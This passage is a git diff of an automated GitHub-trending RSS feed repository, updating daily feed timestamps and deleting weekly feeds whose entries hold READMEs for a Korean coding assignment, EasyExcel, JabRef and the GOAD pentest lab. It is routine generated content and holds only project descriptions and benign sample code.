GitHub Janet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:09Z + 2023-10-30T01:29:56Z Daily Trending of Janet in GitHub \ No newline at end of file diff --git a/janet/weekly/index.xml b/janet/weekly/index.xml deleted file mode 100644 index 3df10623f79..00000000000 --- a/janet/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Janet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:35Z - Weekly Trending of Janet in GitHub - - \ No newline at end of file diff --git a/jar-manifest/daily/index.xml b/jar-manifest/daily/index.xml index a0c18a4ca34..fc47fc88259 100644 --- a/jar-manifest/daily/index.xml +++ b/jar-manifest/daily/index.xml @@ -1,7 +1,7 @@ GitHub JAR Manifest Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:11Z + 2023-10-30T01:29:58Z Daily Trending of JAR Manifest in GitHub \ No newline at end of file diff --git a/jar-manifest/weekly/index.xml b/jar-manifest/weekly/index.xml deleted file mode 100644 index 4f4d6171499..00000000000 --- a/jar-manifest/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JAR Manifest Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:41Z - Weekly Trending of JAR Manifest in GitHub - - \ No newline at end of file diff --git a/jasmin/daily/index.xml b/jasmin/daily/index.xml index cb752974fc6..2f8f7dfb992 100644 --- a/jasmin/daily/index.xml +++ b/jasmin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jasmin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:13Z + 2023-10-30T01:30:00Z Daily Trending of Jasmin in GitHub \ No newline at end of file diff --git a/jasmin/weekly/index.xml b/jasmin/weekly/index.xml deleted file mode 100644 index 3ba522b347c..00000000000 --- a/jasmin/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jasmin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:39Z - Weekly Trending of Jasmin in GitHub - - \ No newline at end of file diff --git a/java-properties/daily/index.xml b/java-properties/daily/index.xml index 9c7b35c9e8f..22b5aad9da4 100644 --- a/java-properties/daily/index.xml +++ b/java-properties/daily/index.xml @@ -1,7 +1,7 @@ GitHub Java Properties Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:12Z + 2023-10-30T01:29:59Z Daily Trending of Java Properties in GitHub \ No newline at end of file diff --git a/java-properties/weekly/index.xml b/java-properties/weekly/index.xml deleted file mode 100644 index db1aff33b90..00000000000 --- a/java-properties/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Java Properties Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:40Z - Weekly Trending of Java Properties in GitHub - - \ No newline at end of file diff --git a/java-server-pages/daily/index.xml b/java-server-pages/daily/index.xml index 30ed1c8916d..88ae21b74fa 100644 --- a/java-server-pages/daily/index.xml +++ b/java-server-pages/daily/index.xml @@ -1,7 +1,7 @@ GitHub Java Server Pages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:32Z + 2023-10-30T01:30:09Z Daily Trending of Java Server Pages in GitHub \ No newline at end of file diff --git a/java-server-pages/weekly/index.xml b/java-server-pages/weekly/index.xml deleted file mode 100644 index d3d87c18219..00000000000 --- a/java-server-pages/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Java Server Pages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:54Z - Weekly Trending of Java Server Pages in GitHub - - \ No newline at end of file diff --git a/java/daily/index.xml b/java/daily/index.xml index edb721c57cf..5ca5e5b0d16 100644 --- a/java/daily/index.xml +++ b/java/daily/index.xml @@ -1,7 +1,7 @@ GitHub Java Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:16Z + 2023-10-30T01:30:02Z Daily Trending of Java in GitHub \ No newline at end of file diff --git a/java/weekly/index.xml b/java/weekly/index.xml deleted file mode 100644 index 00235ea5e16..00000000000 --- a/java/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Java Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:44Z - Weekly Trending of Java in GitHub - - - woowacourse-precourse/java-baseball-6 - 2023-10-29T01:54:44Z - tag:github.com,2023-10-29:/woowacourse-precourse/java-baseball-6 - - <p></p><hr><h1>미션 - 숫자 야구</h1> <h2>🔍 진행 방식</h2> <ul> <li>미션은 <strong>기능 요구 사항, 프로그래밍 요구 사항, 과제 진행 요구 사항</strong> 세 가지로 구성되어 있다.</li> <li>세 개의 요구 사항을 만족하기 위해 노력한다. 특히 기능을 구현하기 전에 기능 목록을 만든다.</li> <li>기능 요구 사항에 기재되지 않은 내용은 스스로 판단하여 구현한다.</li> </ul> <h2>📮 미션 제출 방법</h2> <ul> <li>미션 구현을 완료한 후 GitHub을 통해 제출해야 한다. <ul> <li>GitHub을 활용한 제출 방법은 <a href="https://github.com/woowacourse/woowacourse-docs/tree/master/precourse">프리코스 과제 제출</a> 문서를 참고해 제출한다.</li> </ul> </li> <li>GitHub에 미션을 제출한 후 <a href="https://apply.techcourse.co.kr">우아한테크코스 지원</a> 사이트에 접속하여 프리코스 과제를 제출한다. <ul> <li>자세한 방법은 <a href="https://github.com/woowacourse/woowacourse-docs/tree/master/precourse#%EC%A0%9C%EC%B6%9C-%EA%B0%80%EC%9D%B4%EB%93%9C">제출 가이드</a> 참고</li> <li><strong>Pull Request만 보내고 지원 플랫폼에서 과제를 제출하지 않으면 최종 제출하지 않은 것으로 처리되니 주의한다.</strong></li> </ul> </li> </ul> <h2>🚨 과제 제출 전 체크 리스트 - 0점 방지</h2> <ul> <li>기능 구현을 모두 정상적으로 했더라도 <strong>요구 사항에 명시된 출력값 형식을 지키지 않을 경우 0점으로 처리</strong>한다.</li> <li>기능 구현을 완료한 뒤 아래 가이드에 따라 테스트를 실행했을 때 모든 테스트가 성공하는지 확인한다.</li> <li><strong>테스트가 실패할 경우 0점으로 처리</strong>되므로, 반드시 확인 후 제출한다.</li> </ul> <h3>테스트 실행 가이드</h3> <ul> <li>터미널에서 <code>java -version</code>을 실행하여 Java 버전이 17인지 확인한다. Eclipse 또는 IntelliJ IDEA와 같은 IDE에서 Java 17로 실행되는지 확인한다.</li> <li>터미널에서 Mac 또는 Linux 사용자의 경우 <code>./gradlew clean test</code> 명령을 실행하고, Windows 사용자의 경우 <code>gradlew.bat clean test</code> 또는 <code>./gradlew.bat clean test</code> 명령을 실행할 때 모든 테스트가 아래와 같이 통과하는지 확인한다.</li> </ul> <pre><code>BUILD SUCCESSFUL in 0s </code></pre> <hr> <h2>🚀 기능 요구 사항</h2> <p>기본적으로 1부터 9까지 서로 다른 수로 이루어진 3자리의 수를 맞추는 게임이다.</p> <ul> <li>같은 수가 같은 자리에 있으면 스트라이크, 다른 자리에 있으면 볼, 같은 수가 전혀 없으면 낫싱이란 힌트를 얻고, 그 힌트를 이용해서 먼저 상대방(컴퓨터)의 수를 맞추면 승리한다. <ul> <li>예) 상대방(컴퓨터)의 수가 425일 때 <ul> <li>123을 제시한 경우 : 1스트라이크</li> <li>456을 제시한 경우 : 1볼 1스트라이크</li> <li>789를 제시한 경우 : 낫싱</li> </ul> </li> </ul> </li> <li>위 숫자 야구 게임에서 상대방의 역할을 컴퓨터가 한다. 컴퓨터는 1에서 9까지 서로 다른 임의의 수 3개를 선택한다. 게임 플레이어는 컴퓨터가 생각하고 있는 서로 다른 3개의 숫자를 입력하고, 컴퓨터는 입력한 숫자에 대한 결과를 출력한다.</li> <li>이 같은 과정을 반복해 컴퓨터가 선택한 3개의 숫자를 모두 맞히면 게임이 종료된다.</li> <li>게임을 종료한 후 게임을 다시 시작하거나 완전히 종료할 수 있다.</li> <li>사용자가 잘못된 값을 입력할 경우 <code>IllegalArgumentException</code>을 발생시킨 후 애플리케이션은 종료되어야 한다.</li> </ul> <h3>입출력 요구 사항</h3> <h4>입력</h4> <ul> <li>서로 다른 3자리의 수</li> <li>게임이 끝난 경우 재시작/종료를 구분하는 1과 2 중 하나의 수</li> </ul> <h4>출력</h4> <ul> <li>입력한 수에 대한 결과를 볼, 스트라이크 개수로 표시</li> </ul> <pre><code>1볼 1스트라이크 </code></pre> <ul> <li>하나도 없는 경우</li> </ul> <pre><code>낫싱 </code></pre> <ul> <li>3개의 숫자를 모두 맞힐 경우</li> </ul> <pre><code>3스트라이크 3개의 숫자를 모두 맞히셨습니다! 게임 종료 </code></pre> <ul> <li>게임 시작 문구 출력</li> </ul> <pre><code>숫자 야구 게임을 시작합니다. </code></pre> <h4>실행 결과 예시</h4> <pre><code>숫자 야구 게임을 시작합니다. 숫자를 입력해주세요 : 123 1볼 1스트라이크 숫자를 입력해주세요 : 145 1볼 숫자를 입력해주세요 : 671 2볼 숫자를 입력해주세요 : 216 1스트라이크 숫자를 입력해주세요 : 713 3스트라이크 3개의 숫자를 모두 맞히셨습니다! 게임 종료 게임을 새로 시작하려면 1, 종료하려면 2를 입력하세요. 1 숫자를 입력해주세요 : 123 1볼 ... </code></pre> <hr> <h2>🎯 프로그래밍 요구 사항</h2> <ul> <li>JDK 17 버전에서 실행 가능해야 한다. <strong>JDK 17에서 정상적으로 동작하지 않을 경우 0점 처리한다.</strong></li> <li>프로그램 실행의 시작점은 <code>Application</code>의 <code>main()</code>이다.</li> <li><code>build.gradle</code> 파일을 변경할 수 없고, 외부 라이브러리를 사용하지 않는다.</li> <li><a href="https://github.com/woowacourse/woowacourse-docs/tree/master/styleguide/java">Java 코드 컨벤션</a> 가이드를 준수하며 프로그래밍한다.</li> <li>프로그램 종료 시 <code>System.exit()</code>를 호출하지 않는다.</li> <li>프로그램 구현이 완료되면 <code>ApplicationTest</code>의 모든 테스트가 성공해야 한다. <strong>테스트가 실패할 경우 0점 처리한다.</strong></li> <li>프로그래밍 요구 사항에서 달리 명시하지 않는 한 파일, 패키지 이름을 수정하거나 이동하지 않는다.</li> </ul> <h3>라이브러리</h3> <ul> <li><code>camp.nextstep.edu.missionutils</code>에서 제공하는 <code>Randoms</code> 및 <code>Console</code> API를 사용하여 구현해야 한다. <ul> <li>Random 값 추출은 <code>camp.nextstep.edu.missionutils.Randoms</code>의 <code>pickNumberInRange()</code>를 활용한다.</li> <li>사용자가 입력하는 값은 <code>camp.nextstep.edu.missionutils.Console</code>의 <code>readLine()</code>을 활용한다.</li> </ul> </li> </ul> <h4>사용 예시</h4> <pre><code class="language-java">List&lt;Integer&gt; computer = new ArrayList&lt;&gt;(); while (computer.size() &lt; 3) { int randomNumber = Randoms.pickNumberInRange(1, 9); if (!computer.contains(randomNumber)) { computer.add(randomNumber); } } </code></pre> <hr> <h2>✏️ 과제 진행 요구 사항</h2> <ul> <li>미션은 <a href="https://github.com/woowacourse-precourse/java-baseball-6">java-baseball-6</a> 저장소를 Fork &amp; Clone해 시작한다.</li> <li><strong>기능을 구현하기 전 <code>docs/README.md</code>에 구현할 기능 목록을 정리</strong>해 추가한다.</li> <li>과제 진행 및 제출 방법은 <a href="https://github.com/woowacourse/woowacourse-docs/tree/master/precourse">프리코스 과제 제출</a> 문서를 참고한다.</li> </ul> - - - alibaba/easyexcel - 2023-10-29T01:54:44Z - tag:github.com,2023-10-29:/alibaba/easyexcel - - <p>快速、简洁、解决大文件内存溢出的java处理Excel工具</p><hr><h1>🔥作者最新开源项目<a href="https://github.com/chat2db/Chat2DB">Chat2DB</a></h1> <ul> <li>GitHub地址 <a href="https://github.com/chat2db/Chat2DB">https://github.com/chat2db/Chat2DB</a></li> <li>官 网 地 址 <a href="https://chat2db.ai">https://chat2db.ai</a></li> </ul> <p><a href="https://github.com/chat2db/Chat2DB"><img width="1720" alt="crete datasource" src="https://github.com/chat2db/Chat2DB/assets/22975773/16050747-0f6c-4e98-ba91-323033584eec"></a></p> <h1>EasyExcel</h1> <p><a href="https://github.com/alibaba/easyexcel/actions/workflows/ci.yml?query=branch%3Amaster"><img src="https://github.com/alibaba/easyexcel/actions/workflows/ci.yml/badge.svg?branch=master" alt="Build Status"></a> <a href="https://maven-badges.herokuapp.com/maven-central/com.alibaba/easyexcel"><img src="https://maven-badges.herokuapp.com/maven-central/com.alibaba/easyexcel/badge.svg?sanitize=true" alt="Maven central"></a> <a href="http://www.apache.org/licenses/LICENSE-2.0.html"><img src="http://img.shields.io/:license-apache-brightgreen.svg?sanitize=true" alt="License"></a> <a href="https://opensource.alibaba.com/contribution_leaderboard/details?projectValue=easyexcel"><img src="https://img.shields.io/badge/EasyExcel-%E6%9F%A5%E7%9C%8B%E8%B4%A1%E7%8C%AE%E6%8E%92%E8%A1%8C%E6%A6%9C-orange" alt=""></a></p> <h1>JAVA解析Excel工具</h1> <p>Java解析、生成Excel比较有名的框架有Apache poi、jxl。但他们都存在一个严重的问题就是非常的耗内存,poi有一套SAX模式的API可以一定程度的解决一些内存溢出的问题,但POI还是有一些缺陷,比如07版Excel解压缩以及解压后存储都是在内存中完成的,内存消耗依然很大。<br> easyexcel重写了poi对07版Excel的解析,一个3M的excel用POI sax解析依然需要100M左右内存,改用easyexcel可以降低到几M,并且再大的excel也不会出现内存溢出;03版依赖POI的sax模式,在上层做了模型转换的封装,让使用者更加简单方便</p> <h1>网站</h1> <ul> <li>官方网站:<a href="https://easyexcel.opensource.alibaba.com/">https://easyexcel.opensource.alibaba.com/</a></li> <li>github地址:<a href="https://github.com/alibaba/easyexcel">https://github.com/alibaba/easyexcel</a></li> <li>gitee地址:<a href="https://gitee.com/easyexcel/easyexcel">https://gitee.com/easyexcel/easyexcel</a></li> </ul> <h1>16M内存23秒读取75M(46W行25列)的Excel(3.2.1+版本)</h1> <p>当然还有<a href="https://easyexcel.opensource.alibaba.com/qa/read#%E5%BC%80%E5%90%AF%E6%80%A5%E9%80%9F%E6%A8%A1%E5%BC%8F">极速模式</a> 能更快,但是内存占用会在100M多一点 <img src="https://raw.githubusercontent.com/alibaba/easyexcel/master/img/readme/large.png" alt="img"></p> <h1>最新版本</h1> <pre><code class="language-xml"> &lt;dependency&gt; &lt;groupId&gt;com.alibaba&lt;/groupId&gt; &lt;artifactId&gt;easyexcel&lt;/artifactId&gt; &lt;version&gt;3.3.2&lt;/version&gt; &lt;/dependency&gt; </code></pre> <h1>帮忙点个⭐Star</h1> <p>开源不易,如果觉得EasyExcel对您的工作还是有帮助的话,请帮忙在<a target="_blank" href="https://github.com/alibaba/easyexcel"><img src="https://img.shields.io/github/stars/alibaba/easyexcel.svg?style=flat-square&amp;label=Stars&amp;logo=github" alt="github star"></a> 的右上角点个⭐Star,您的支持是使EasyExcel变得更好最大的动力。</p> <h1>如何获取帮助</h1> <h2>优先建议自己通过文档来解决问题</h2> <ul> <li><a href="https://easyexcel.opensource.alibaba.com/docs/current/">快速开始</a></li> <li><a href="https://easyexcel.opensource.alibaba.com/docs/qa/">常见问题</a></li> <li><a href="https://easyexcel.opensource.alibaba.com/docs/current/api/">API</a></li> </ul> <h2>其次建议通过<code>issues</code>来解决解决问题</h2> <p>可以尝试在以下2个链接搜索问题,如果不存在可以尝试创建<code>issue</code>。</p> <ul> <li>去 <a href="https://github.com/alibaba/easyexcel/issues">github</a> 搜索<code>issues</code></li> <li>去 <a href="https://gitee.com/easyexcel/easyexcel/issues">gitee</a> 搜索<code>issues</code></li> </ul> <p>通过 <code>issues</code> 解决问题,可以给后面遇到相同问题的同学查看,所以比较推荐这种方式。<br> 不管<code>github</code>、<code>gitee</code>都会定期有人回答您的问题,比较紧急可以在提完<code>issue</code>以后在钉钉群艾特群主并发送<code>issue</code>地址帮忙解决。<br> <code>QQ</code> 公司不让用,有时候也会去看,但是核心肯定还是在钉钉。</p> <h2>关注作者:程序员小獭</h2> <p>可以加群交流</p> <p><img src="https://github.com/alibaba/easyexcel/assets/22975773/13ceff34-d547-421b-b9a9-04f388792099" alt="qrcode_for_gh_c43212c8d0ed_258"></p> <h1>维护者</h1> <p>姬朋飞(玉霄)、庄家钜</p> <h1>快速开始</h1> <h2>读Excel</h2> <p>demo代码地址:<a href="https://github.com/alibaba/easyexcel/raw/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/read/ReadTest.java">https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/read/ReadTest.java</a><br> 详细文档地址:<a href="https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read">https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read</a></p> <pre><code class="language-java"> /** * 最简单的读 * &lt;p&gt;1. 创建excel对应的实体对象 参照{@link DemoData} * &lt;p&gt;2. 由于默认一行行的读取excel,所以需要创建excel一行一行的回调监听器,参照{@link DemoDataListener} * &lt;p&gt;3. 直接读即可 */ @Test public void simpleRead() { String fileName = TestFileUtil.getPath() + "demo" + File.separator + "demo.xlsx"; // 这里 需要指定读用哪个class去读,然后读取第一个sheet 文件流会自动关闭 EasyExcel.read(fileName, DemoData.class, new DemoDataListener()).sheet().doRead(); } </code></pre> <h2>写Excel</h2> <p>demo代码地址:<a href="https://github.com/alibaba/easyexcel/raw/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/write/WriteTest.java">https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/write/WriteTest.java</a><br> 详细文档地址:<a href="https://easyexcel.opensource.alibaba.com/docs/current/quickstart/write">https://easyexcel.opensource.alibaba.com/docs/current/quickstart/write</a></p> <pre><code class="language-java"> /** * 最简单的写 * &lt;p&gt;1. 创建excel对应的实体对象 参照{@link com.alibaba.easyexcel.test.demo.write.DemoData} * &lt;p&gt;2. 直接写即可 */ @Test public void simpleWrite() { String fileName=TestFileUtil.getPath()+"write"+System.currentTimeMillis()+".xlsx"; // 这里 需要指定写用哪个class去读,然后写到第一个sheet,名字为模板 然后文件流会自动关闭 // 如果这里想使用03 则 传入excelType参数即可 EasyExcel.write(fileName,DemoData.class).sheet("模板").doWrite(data()); } </code></pre> <h2>web上传、下载</h2> <p>demo代码地址:<a href="https://github.com/alibaba/easyexcel/raw/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/web/WebTest.java">https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/web/WebTest.java</a></p> <pre><code class="language-java"> /** * 文件下载(失败了会返回一个有部分数据的Excel) * &lt;p&gt; * 1. 创建excel对应的实体对象 参照{@link DownloadData} * &lt;p&gt; * 2. 设置返回的 参数 * &lt;p&gt; * 3. 直接写,这里注意,finish的时候会自动关闭OutputStream,当然你外面再关闭流问题不大 */ @GetMapping("download") public void download(HttpServletResponse response) throws IOException { // 这里注意 有同学反应使用swagger 会导致各种问题,请直接用浏览器或者用postman response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"); response.setCharacterEncoding("utf-8"); // 这里URLEncoder.encode可以防止中文乱码 当然和easyexcel没有关系 String fileName=URLEncoder.encode("测试","UTF-8").replaceAll("\\+","%20"); response.setHeader("Content-disposition","attachment;filename*=utf-8''"+fileName+".xlsx"); EasyExcel.write(response.getOutputStream(),DownloadData.class).sheet("模板").doWrite(data()); } /** * 文件上传 * &lt;p&gt;1. 创建excel对应的实体对象 参照{@link UploadData} * &lt;p&gt;2. 由于默认一行行的读取excel,所以需要创建excel一行一行的回调监听器,参照{@link UploadDataListener} * &lt;p&gt;3. 直接读即可 */ @PostMapping("upload") @ResponseBody public String upload(MultipartFile file)throws IOException{ EasyExcel.read(file.getInputStream(),UploadData.class,new UploadDataListener(uploadDAO)).sheet().doRead(); return"success"; } </code></pre> - - - JabRef/jabref - 2023-10-29T01:54:44Z - tag:github.com,2023-10-29:/JabRef/jabref - - <p>Graphical Java application for managing BibTeX and biblatex (.bib) databases</p><hr><h1>JabRef Bibliography Management</h1> <p>JabRef is an open-source, cross-platform citation and reference management tool.</p> <p>Stay on top of your literature: JabRef helps you to collect and organize sources, find the paper you need and discover the latest research.</p> <p><img src="https://raw.githubusercontent.com/JabRef/jabref/main/docs/images/jabref-mainscreen.png" alt="main table"></p> <h2>Features</h2> <p>JabRef is available free of charge and is actively developed. It supports you in every step of your research work.</p> <h3>Collect</h3> <ul> <li>Search across many online scientific catalogues like CiteSeer, CrossRef, Google Scholar, IEEEXplore, INSPIRE-HEP, Medline PubMed, MathSciNet, Springer, arXiv, and zbMATH</li> <li>Import options for over 15 reference formats</li> <li>Easily retrieve and link full-text articles</li> <li>Fetch complete bibliographic information based on ISBN, DOI, PubMed-ID and arXiv-ID</li> <li>Extract metadata from PDFs</li> <li>Import new references directly from the browser with one click using the <a href="https://github.com/JabRef/JabRef-Browser-Extension">official browser extension</a> for <a href="https://addons.mozilla.org/en-US/firefox/addon/jabref/?src=external-github">Firefox</a>, <a href="https://chrome.google.com/webstore/detail/jabref-browser-extension/bifehkofibaamoeaopjglfkddgkijdlh">Chrome</a>, <a href="https://microsoftedge.microsoft.com/addons/detail/pgkajmkfgbehiomipedjhoddkejohfna">Edge</a> and <a href="https://chrome.google.com/webstore/detail/jabref-browser-extension/bifehkofibaamoeaopjglfkddgkijdlh">Vivaldi</a></li> </ul> <h3>Organize</h3> <ul> <li>Group your research into hierarchical collections and organize research items based on keywords/tags, search terms or your manual assignments</li> <li>Advanced search and filter features</li> <li>Complete and fix bibliographic data by comparing with curated online catalogs such as Google Scholar, Springer or MathSciNet</li> <li>Customizable citation key generator</li> <li>Customize and add new metadata fields or reference types</li> <li>Find and merge duplicates</li> <li>Attach related documents: 20 different kinds of documents supported out of the box, completely customizable and extendable</li> <li>Automatically rename and move associated documents according to customizable rules</li> <li>Keep track of what you read: ranking, priority, printed, quality-assured</li> </ul> <h3>Cite</h3> <ul> <li>Native BibTeX and Biblatex support</li> <li>Cite-as-you-write functionality for external applications such as Emacs, Kile, LyX, Texmaker, TeXstudio, Vim and WinEdt.</li> <li>Format references using one of thousands of built-in citation styles or create your own style</li> <li>Support for Word and LibreOffice/OpenOffice for inserting and formatting citations</li> </ul> <h3>Share</h3> <ul> <li>Many built-in export options or create your export format</li> <li>Library is saved as a simple text file, and thus it is easy to share with others via Dropbox and is version-control friendly</li> <li>Work in a team: sync the contents of your library via a SQL database</li> </ul> <h2>Installation</h2> <p>Fresh development builds are available at <a href="https://builds.jabref.org/main/">builds.jabref.org</a>. The <a href="https://downloads.jabref.org/">latest stable release is available at FossHub</a>.</p> <p>Please see our <a href="https://docs.jabref.org/installation">Installation Guide</a>.</p> <h2>Bug Reports, Suggestions, Other Feedback</h2> <p><a href="https://donations.jabref.org"><img src="https://img.shields.io/badge/donate%20to-jabref-orange.svg?sanitize=true" alt="Donation"></a> <a href="https://paypal.me/JabRef"><img src="https://img.shields.io/badge/donate-paypal-00457c.svg?logo=paypal&amp;style=flat-square" alt="PayPal Donate"></a></p> <p>We are thankful for any bug reports or other feedback. If you have ideas for new features you want to be included in JabRef, tell us in <a href="http://discourse.jabref.org/c/features">the feature section</a> of our forum! If you need support in using JabRef, please read <a href="https://docs.jabref.org/">the documentation</a> first, the <a href="https://docs.jabref.org/faq">frequently asked questions (FAQ)</a> and also have a look at our <a href="https://discourse.jabref.org/c/help/7">community forum</a>. You can use our <a href="https://github.com/JabRef/jabref/issues">GitHub issue tracker</a> to file bug reports.</p> <p>An explanation of donation possibilities and usage of donations is available at our <a href="https://donations.jabref.org">donations page</a>.</p> <h2>Contributing</h2> <p><a href="https://devdocs.jabref.org/"><img src="https://img.shields.io/badge/dev-docs-blue" alt="dev-docs"></a> <a href="https://www.codetriage.com/jabref/jabref"><img src="https://www.codetriage.com/jabref/jabref/badges/users.svg?sanitize=true" alt="Help Contribute to Open Source"></a> <a href="https://gitter.im/JabRef/jabref?utm_source=badge&amp;utm_medium=badge&amp;utm_campaign=pr-badge&amp;utm_content=badge"><img src="https://badges.gitter.im/Join%20Chat.svg?sanitize=true" alt="Join the chat at https://gitter.im/JabRef/jabref"></a> <a href="https://www.openhub.net/p/jabref"><img src="https://www.openhub.net/p/jabref/widgets/project_thin_badge.gif" alt="OpenHub"></a> <a href="https://github.com/JabRef/jabref/actions?query=workflow%3ADeployment"><img src="https://github.com/JabRef/jabref/workflows/Deployment/badge.svg?sanitize=true" alt="Deployment Status"></a> <a href="https://github.com/JabRef/jabref/actions?query=workflow%3ATests"><img src="https://github.com/JabRef/jabref/workflows/Tests/badge.svg?sanitize=true" alt="Test Status"></a> <a href="https://codecov.io/github/JabRef/jabref?branch=main"><img src="https://codecov.io/github/JabRef/jabref/coverage.svg?branch=master" alt="codecov.io"></a></p> <p>Want to be part of a free and open-source project that tens of thousands of scientists use every day? Check out the ways you can contribute, below:</p> <ul> <li>Not a programmer? Help translating JabRef at <a href="https://crowdin.com/project/jabref">Crowdin</a> or learn how to help at <a href="https://contribute.jabref.org">contribute.jabref.org</a></li> <li>Quick overview on the architecture needed? Look at our <a href="https://devdocs.jabref.org/getting-into-the-code/high-level-documentation">high-level documentation</a></li> <li>For details on how to contribute, have a look at our <a href="https://raw.githubusercontent.com/JabRef/jabref/main/CONTRIBUTING.md">guidelines for contributing</a>.</li> <li>You are welcome to contribute new features. To get your code included into JabRef, just <a href="https://help.github.com/en/articles/fork-a-repo">fork</a> the JabRef repository, make your changes, and create a <a href="https://help.github.com/en/articles/about-pull-requests">pull request</a>.</li> <li>To work on existing JabRef issues, check out our <a href="https://github.com/JabRef/jabref/issues">issue tracker</a>. New to open source contributing? Look for issues with the <a href="https://github.com/JabRef/jabref/labels/good%20first%20issue">"good first issue"</a> label to get started.</li> </ul> <p>We view pull requests as a collaborative process. Submit a pull request early to get feedback from the team on work in progress. We will discuss improvements with you and agree to merge them once the <a href="https://github.com/JabRef/jabref/raw/main/MAINTAINERS">developers</a> approve. Please also remember to discuss bigger changes early with the core developers to avoid a waste of time and work. Some fundamental design decisions can be found within our list of <a href="https://devdocs.jabref.org/decisions/">Architectural Decision Records</a>.</p> <p>If you want a step-by-step walk-through on how to set-up your workspace, please check <a href="https://devdocs.jabref.org/getting-into-the-code/guidelines-for-setting-up-a-local-workspace">this guideline</a>.</p> <p>To compile JabRef from source, you need a Java Development Kit 20 and <code>JAVA_HOME</code> pointing to this JDK. To run it, just execute <code>gradlew run</code>. When you want to develop, it is necessary to generate additional sources using <code>gradlew generateSource</code> and then generate the Eclipse <code>gradlew eclipse</code>. For IntelliJ IDEA, just import the project via a Gradle Import by pointing at the <code>build.gradle</code>.</p> <p><code>gradlew test</code> executes all tests. We use <a href="https://github.com/JabRef/jabref/actions">GitHub Actions</a> for executing the tests after each commit. For developing, it is sufficient to locally only run the associated test for the classes you changed. Github will report any other failure.</p> <h2>Sponsoring</h2> <p>JabRef development is powered by YourKit Java Profiler<br> <a href="https://www.yourkit.com/java/profiler/"><img src="https://www.yourkit.com/images/yk_logo.svg?sanitize=true" alt="YourKit Java Profiler"></a></p> - - \ No newline at end of file diff --git a/javascript+erb/daily/index.xml b/javascript+erb/daily/index.xml index d069884ecd3..8b5dd236aa2 100644 --- a/javascript+erb/daily/index.xml +++ b/javascript+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub JavaScript+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:30Z + 2023-10-30T01:30:10Z Daily Trending of JavaScript+ERB in GitHub \ No newline at end of file diff --git a/javascript+erb/weekly/index.xml b/javascript+erb/weekly/index.xml deleted file mode 100644 index c13abcc3ada..00000000000 --- a/javascript+erb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JavaScript+ERB Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:55Z - Weekly Trending of JavaScript+ERB in GitHub - - \ No newline at end of file diff --git a/javascript/daily/index.xml b/javascript/daily/index.xml index 6a19f955758..27d9aade75c 100644 --- a/javascript/daily/index.xml +++ b/javascript/daily/index.xml @@ -1,14 +1,14 @@ GitHub JavaScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:34:35Z + 2023-10-30T01:30:13Z Daily Trending of JavaScript in GitHub - Orange-Cyberdefense/GOAD - 2023-10-29T01:34:35Z - tag:github.com,2023-10-29:/Orange-Cyberdefense/GOAD - - <p>game of active directory</p><hr><div align="center"> <h1><img alt="GOAD (Game Of Active Directory)" src="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/img/logo_GOAD.png"></h1> <br> </div> <h2>Description</h2> <p>GOAD is a pentest active directory LAB project. The purpose of this lab is to give pentesters a vulnerable Active directory environment ready to use to practice usual attack techniques.</p> <blockquote> <p><strong>Warning</strong> This lab is extremely vulnerable, do not reuse recipe to build your environment and do not deploy this environment on internet without isolation (this is a recommendation, use it as your own risk).<br> This repository was build for pentest practice.</p> </blockquote> <h2>Licenses</h2> <p>This lab use free windows VM only (180 days). After that delay enter a license on each server or rebuild all the lab (may be it's time for an update ;))</p> <h2>Available labs</h2> <ul> <li><a href="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/ad/GOAD/README.md">GOAD</a> : 5 vms, 2 forests, 3 domains (full goad lab)</li> </ul> <div align="center"> <img alt="GOAD" width="800" src="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/docs/img/GOAD_schema.png"> </div> <ul> <li><a href="https://raw.githubusercontent.com/Orange-Cyberdefense/GOAD/main/ad/GOAD-Light/README.md">GOAD-Light</a> : 3 vms, 1 forest, 2 domains (smaller goad lab for those with a smaller pc)</li> </ul> <div align="center"> <img alt="GOAD Light" width="600" 